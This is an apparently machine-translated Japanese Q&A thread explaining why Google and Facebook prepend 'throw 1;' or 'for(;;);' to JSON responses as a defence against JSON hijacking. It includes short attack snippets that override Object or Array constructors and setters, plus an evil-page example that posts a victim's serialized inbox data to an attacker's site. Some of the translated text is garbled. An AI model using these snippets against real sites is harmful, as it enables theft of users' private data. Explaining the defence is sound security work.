javascript - owasp cheat sheet github




なぜ人々は「スロー1」のようなコードを入れますか?<jont be evil> "と" for(;;); "はjsonレスポンスの前にありますか? (3)

可能な重複:
なぜGoogleはwhile(1); 彼らのJSONの回答に?

Googleは次のようにjsonを返します:

throw 1; <dont be evil> { foo: bar}

Facebookのajaxには次のようなjsonがあります:

for(;;); {"error":0,"errorSummary": ""}
  • なぜ彼らは実行を停止し、無効なjsonを作るコードを入れますか?
  • 彼らはそれが無効であればどのように解析し、それを評価しようとするとクラッシュするでしょうか?
  • 彼らは文字列から削除しますか(高価なようです)?
  • これにはセキュリティ上の利点はありますか?

セキュリティ上の目的で、

スクレイパーが別のドメインにある場合、XHRはクロスドメインで動作しないため、 scriptタグを使用してデータを取得する必要があります。 for(;;);なくてもfor(;;); 攻撃者はどのようにデータを取得しますか? それは変数に割り当てられていないので、それへの参照がないのでガベージコレクションされませんか?

基本的には、データのクロスドメインを取得する必要があります

<script src="http://target.com/json.js"></script>

しかし、クラッシュスクリプトが付加されていなくても、攻撃者はJsonデータをグローバルにアクセスできる変数に割り当てることはできません(このような場合はありません)。 クラッシュコードは、それがなくてもサイト上のデータを使用するためにサーバー側のスクリプトを使用する必要がないため、効果的に何もしません。


for(;;);なくてもfor(;;); 攻撃者はどのようにデータを取得しますか?

攻撃は、組み込み型、特にObjectおよびArrayの動作を、コンストラクタ関数またはそのprototype変更することによって変更することに基づいています。 ターゲットとなるJSONが{...}[...]構文を使用する場合、これらのオブジェクトの攻撃者自身のバージョンとなり、予期しない動作が発生する可能性があります。

たとえば、 Objectリテラルで書かれた値を裏切るsetter-propertyをObjectにハックすることができます。

Object.prototype.__defineSetter__('x', function(x) {
    alert('Ha! I steal '+x);
});

次に、そのプロパティ名を使用したJSONを<script>が指していたとき:

{"x": "hello"}

"hello"がリークされます。

配列とオブジェクトのリテラルがsetterを呼び出す方法は議論の余地があります。 Firefoxは、ハイプロファイルWebサイトへの一般公開された攻撃に対応して、バージョン3.5の動作を削除しました。 しかし、Safari(4)とChrome(5)の執筆時点ではまだこれに脆弱です。

すべてのブラウザで現在許可されていないもう1つの攻撃は、コンストラクタ関数を再定義することでした。

Array= function() {
    alert('I steal '+this);
};

[1, 2, 3]

そして今のところ、IE8のプロパティの実装(ECMAScript Fifth Edition標準とObject.defineProperty )は現在、 Object.prototypeArray.prototypeでは機能しません。

しかし、過去のブラウザを保護するだけでなく、JavaScriptを拡張することで、今後同様の種類のリークが発生する可能性があります。その場合、チャフもそれらを守る必要があります。


彼らはそれが無効であればどのように解析し、それを評価しようとするとクラッシュするでしょうか?

それをevalしようとするとクラッシュするという機能です。 evalは任意のJavaScriptコードを許可します。これはクロスサイトスクリプティング攻撃に使用できます。

彼らは文字列から削除しますか(高価なようです)?

私はそう思います。 おそらく次のようなものでしょう:

function parseJson(json) {
   json = json.replace("throw 1; <dont be evil>", "");
   if (/* regex to validate the JSON */) {
       return eval(json);
   } else {
       throw "XSS";
   }
}

「悪ではない」クラフトは、開発者がより安全な代替手段の代わりに直接evalを使用するのを防ぎます。


あなたのGMailアカウントをチェックした後、私の邪悪なページに行くことを考えてみましょう:

<script type="text/javascript">
Object = function() {
  ajaxRequestToMyEvilSite(JSON.serialize(this));
}
</script>
<script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script>

今起こるのは、Googleから来たJavaScriptコードが、悪意のあると思って即座に範囲外になると思っていたが、実際に私の悪意のあるサイトに投稿されるということだ。 スクリプトタグでリクエストされたURLが送信されたとします(ブラウザに適切なCookieが表示されるため、受信トレイにログインしているとGoogleは正しく判断します)。

({
  messages: [
    {
      id: 1,
      subject: 'Super confidential information',
      message: 'Please keep this to yourself: the password is 42'
    },{
      id: 2,
      subject: 'Who stole your password?',
      message: 'Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42'
    }
  ]
})

さて、私はこのオブジェクトのシリアル化されたバージョンを私の悪意のあるサーバーに投稿します。 ありがとうございました!

これが起こらないようにするには、JSONレスポンスを上げて、同じドメインのユーザーがそのデータを操作できるようにするときにそれらを隠すことです。 この回答が好きなら、bobinceが投稿したものを受け入れてください。





json